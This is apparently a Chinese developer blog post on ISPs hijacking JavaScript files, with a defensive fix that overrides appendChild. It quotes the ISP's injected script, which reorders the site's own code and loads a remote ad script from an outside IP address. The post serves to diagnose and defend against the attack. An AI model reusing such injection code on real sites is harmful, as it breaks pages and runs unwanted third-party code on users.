运营商劫持.part.2 文件替换与appendChild篇

上一篇提到一种劫持形式是在一个js文件中追加了一段脚本,当然这段脚本并未对代码的执行造成多少影响,只是右下角出现一个框框广告罢了(虽然也很烦人,但相比下面的情况至少好多了)。

这一篇谈到的场景则是,运营商直接劫持了一整个文件,并替换了整个文件的内容。场景重现是这样的:页面引入了a.jsb.jsc.js三个文件,a.js为全局的通用依赖,比如说jQuery,b.js为几个页面业务间通用的一些方法等等的合集,c.js为当前页面业务代码,三个脚本的执行顺序为a.jsb.jsc.js

然后运营商来劫持了,他有可能会把a.js里的文件内容替换成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
o = "http://st.bbeeii.com/script/a.js?";
sh = "http://61.160.200.156:9991/ad.0.js?v=3444&sp=999999&ty=dpc&sda_man=";
w = window;
d = document;
function ins(s, dm, id) {
e = d.createElement("script");
e.src = s;
e.type = "text/javascript";
id ? e.id = id : null;
dm.appendChild(e);
};
p = d.scripts[d.scripts.length - 1].parentNode;
ins(o, p);
ds = function() {
db = d.body;
if (db && !document.getElementById("bdstat")) {
if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) {
if (w.top == w.self) {
ins(sh, db, "bdstat");
}
}
} else {
setTimeout("ds()", 1500);
}
};
ds();

看代码不难发现,a.js变成了a.js?a.js?是原a.js里正确的脚本内容),然后这个正确的脚本文件被appendChild,插入到了页面的底部,后面再执行广告代码的插入。

当然,如果被替换的文件是c.js的话,那还没什么特别影响,但是一旦劫持的是a.js或者b.js,因为存在逻辑、函数、方法、变量等等的依赖,比较普遍的情况就是整个页面报错,页面渲染无法进行,事件无法响应,整个页面瘫痪等等。

现在的主要问题是,原来在一号位、二号位要执行的代码,被丢到了最后了,导致后面依赖它们的代码无法正常运行。

诚然,看到一句话是:快递都发出去了,你怎么保证快递不在中途被人做了什么?

用顺丰?(强势打广告?收了多少钱?还干毛程序员?)

那如果能在快递被动手脚的时候强行制止,然后把快递拿回来自己送到原来的位置呢?

尽管不能阻止脚本被替换,那如果在脚本被扔到最后的过程中强行把他拉回到原来的位置,会怎么样?

比如说,在dom ready 之前(必定是dom ready之前,才有脚本替换的可能),将appendChild改写,在满足脚本被替换的条件(appendChild操作的是script标签,src不是指定的域名或者规则)下,使用document.write将原本要被扔到底部的脚本,写回到原来要放置和执行的位置,否则执行原本的appendChild的操作。

以下是对应的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
(function () {
var fuck61160200156 = function () {
var db = document.body,
whiteList = ['zhemi.com', 'bbeeii.com'], // 自己网站的脚本服务器列表
reg = new RegExp(whiteList.join('|'), 'gi'); // 其实也只是匹配src 所以只需要符合这里的正则就好了

if (db && db.appendChild) {
// 保存原始引用
db._appendChild = db.appendChild;
// 仅仅覆盖document.body 防止频繁操作和误操作
// 仅仅针对上述场景
db.appendChild = function (dom) {
var domReady = false,
tagName = '';

if (dom && dom.nodeType && dom.nodeType === 1) {
domReady = document.readyState === 'complete' ||
(document && document.getElementById && document.getElementsByTagName); // from Pro JavaScript Techniques 不太准确
if (!window.$ || !domReady || !(window.$ && window.$.isReady)) { // 确定domReady之后执行
if ((dom.nodeName || dom.tagName).toUpperCase() === 'SCRIPT') { // script 标签
if (dom.src && dom.src.search(reg) !== -1) { // 自己的域名
document.write('\<script src=\"' + dom.src + '\" type=\"text\/javascript\" id=\"bdstat\"\>\<\/script\>'); // 用于欺骗运营商广告中的bdstat判断 以及是否生效的测试考虑
return dom; // 该返回的返回
}
}
}
}
// return this._appendChild.call(this, dom); IE 6 7 8 这样的形式不可用,会报错
return db._appendChild(dom); // 原始调用
};
}
};
fuck61160200156();
})();

因为在实际应用场景中,并未发现在脚本中用appendChild操作自己站点代码的情况,所以用起来还ok,并没有造成其他影响。

另外,这边的处理是将这段脚本单独作为一个文件0.js,放置到a.js之前,这样,如果被劫持的是0.js,无关紧要,至多右下角会出现广告窗口。如果被劫持的是a.jsb.js,他的劫持操作就被反劫持了。此外,因为我们document.write写回的script标签带了bdstat id,也就使得劫持脚本中,插入广告代码的操作也不会生效(虽然每隔1.5s会产生一个判断和定时器)。

发现问题,解决问题。

The End.